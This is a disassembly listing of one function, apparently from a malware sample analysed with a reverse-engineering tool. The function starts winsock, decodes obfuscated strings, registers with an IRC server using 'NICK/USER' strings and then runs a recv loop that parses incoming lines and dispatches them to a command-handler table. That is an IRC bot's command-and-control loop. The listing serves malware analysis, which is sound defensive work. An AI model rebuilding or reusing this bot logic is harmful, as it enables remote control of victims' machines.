Function at 0x402ea2
Capabilities:
Get socket status
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1ba4
call fcn.00403af0
push 0x100
push 0
lea eax, [ebp - 0x290]
push eax
call fcn.00403650
add esp, 0xc
push 0x100
lea ecx, [ebp - 0x290]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [ebp - 0x290]
push edx
call fcn.00402dfa
add esp, 4
call fcn.00402e60
lea eax, [ebp - 0x190]
push eax
push 0x101
call sub.WSOCK32.dll_WSAStartup
test eax, eax
je 0x402f0c
mov eax, 1
jmp 0x4032af
push 0
call fcn.00403bb5
add esp, 4
push eax
call fcn.00403896
add esp, 4
push str.bB__Ao17
call section..text
add esp, 4
mov dword [0x40bab0], eax
push str.__ytuH_
call section..text
add esp, 4
mov dword [0x40baa4], eax
push str._hEGJO_L_R_4
call section..text
add esp, 4
mov dword [0x40bab4], eax
call fcn.00401283
call fcn.004016fc
call fcn.00401b75
call fcn.00402cfa
test eax, eax
jne 0x402f6f
jmp 0x402f64
mov ecx, dword [0x40baa0]
push ecx
mov edx, dword [0x40baac]
push edx
mov eax, dword [0x40baa8]
push eax
push str.NICK__s_nUSER__s_localhost_localhost_:_s_n
mov ecx, dword [0x40b800]
push ecx
call fcn.00401fee
add esp, 0x14
mov edx, 1
test edx, edx
je 0x4032ad
mov dword [ebp - 0x39c], 0
cmp dword [ebp - 0x39c], 0x40
jae 0x402fd9
mov eax, dword [ebp - 0x39c]
mov ecx, dword [0x40b800]
mov dword [ebp + eax*4 - 0x398], ecx
mov edx, dword [ebp - 0x39c]
add edx, 1
mov dword [ebp - 0x39c], edx
xor eax, eax
test eax, eax
jne 0x402fae
mov dword [ebp - 0x298], 0x4b0
mov dword [ebp - 0x294], 0
lea ecx, [ebp - 0x298]
push ecx
push 0
push 0
lea edx, [ebp - 0x39c]
push edx
mov eax, dword [0x40b800]
add eax, 1
push eax
call sub.WSOCK32.dll_select
test eax, eax
jg 0x40301c
jmp 0x402f55
lea ecx, [ebp - 0x39c]
push ecx
mov edx, dword [0x40b800]
push edx
call sub.WSOCK32.dll___WSAFDIsSet
test eax, eax
je 0x4032a8
push 0
push 0x1000
lea eax, [ebp - 0x13a0]
push eax
mov ecx, dword [0x40b800]
push ecx
call sub.WSOCK32.dll_recv
mov dword [ebp - 0x13a4], eax
cmp dword [ebp - 0x13a4], 0
jg 0x403065
jmp 0x402f55
mov edx, dword [ebp - 0x13a4]
mov byte [ebp + edx - 0x13a0], 0
push 0x40aa5c
lea eax, [ebp - 0x13a0]
push eax
call fcn.00403fb4
add esp, 8
mov dword [ebp - 0x3a0], eax
cmp dword [ebp - 0x3a0], 0
je 0x4032a8
mov ecx, dword [ebp - 0x3a0]
movsx edx, byte [ecx]
test edx, edx
je 0x4032a8
mov eax, dword [ebp - 0x3a0]
push eax
call fcn.00401236
add esp, 4
mov ecx, dword [ebp - 0x3a0]
movsx edx, byte [ecx]
cmp edx, 0x3a
jne 0x40315e
mov dword [ebp - 0x13a4], 0
jmp 0x4030e7
mov eax, dword [ebp - 0x13a4]
add eax, 1
mov dword [ebp - 0x13a4], eax
mov ecx, dword [ebp - 0x3a0]
push ecx
call fcn.00403720
add esp, 4
cmp dword [ebp - 0x13a4], eax
jae 0x403114
mov edx, dword [ebp - 0x3a0]
add edx, dword [ebp - 0x13a4]
movsx eax, byte [edx]
cmp eax, 0x20
je 0x403114
jmp 0x4030d8
mov ecx, dword [ebp - 0x3a0]
add ecx, dword [ebp - 0x13a4]
mov byte [ecx], 0
mov edx, dword [ebp - 0x3a0]
add edx, 1
push edx
lea eax, [ebp - 0x17a4]
push eax
call fcn.004039c0
add esp, 8
mov ecx, dword [ebp - 0x13a4]
mov edx, dword [ebp - 0x3a0]
lea eax, [edx + ecx + 1]
push eax
mov ecx, dword [ebp - 0x3a0]
push ecx
call fcn.004039c0
add esp, 8
jmp 0x403172
push 0x40aa60
lea edx, [ebp - 0x17a4]
push edx
call fcn.004039c0
add esp, 8
mov dword [ebp - 0x13a4], 0
jmp 0x40318d
mov eax, dword [ebp - 0x13a4]
add eax, 1
mov dword [ebp - 0x13a4], eax
mov ecx, dword [ebp - 0x3a0]
push ecx
call fcn.00403720
add esp, 4
cmp dword [ebp - 0x13a4], eax
jae 0x4031ba
mov edx, dword [ebp - 0x3a0]
add edx, dword [ebp - 0x13a4]
movsx eax, byte [edx]
cmp eax, 0x20
je 0x4031ba
jmp 0x40317e
mov ecx, dword [ebp - 0x3a0]
add ecx, dword [ebp - 0x13a4]
mov byte [ecx], 0
mov edx, dword [ebp - 0x3a0]
push edx
lea eax, [ebp - 0x1ba4]
push eax
call fcn.004039c0
add esp, 8
mov ecx, dword [ebp - 0x13a4]
mov edx, dword [ebp - 0x3a0]
lea eax, [edx + ecx + 1]
push eax
mov ecx, dword [ebp - 0x3a0]
push ecx
call fcn.004039c0
add esp, 8
mov dword [ebp - 0x13a4], 0
jmp 0x40321a
mov edx, dword [ebp - 0x13a4]
add edx, 1
mov dword [ebp - 0x13a4], edx
mov eax, dword [ebp - 0x13a4]
cmp dword [eax*8 + 0x40a1f8], 0
je 0x403271
lea ecx, [ebp - 0x1ba4]
push ecx
mov edx, dword [ebp - 0x13a4]
mov eax, dword [edx*8 + 0x40a1f8]
push eax
call fcn.00403da0
add esp, 8
test eax, eax
jne 0x40326f
mov ecx, dword [ebp - 0x3a0]
push ecx
lea edx, [ebp - 0x17a4]
push edx
mov eax, dword [0x40b800]
push eax
mov ecx, dword [ebp - 0x13a4]
call dword [ecx*8 + 0x40a1fc]
add esp, 0xc
jmp 0x40320b
push str.ERROR
lea edx, [ebp - 0x1ba4]
push edx
call fcn.00403da0
add esp, 8
test eax, eax
jne 0x40328e
jmp 0x402f55
push 0x40aa6c
push 0
call fcn.00403fb4
add esp, 8
mov dword [ebp - 0x3a0], eax
jmp 0x40308d
jmp 0x402f97
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10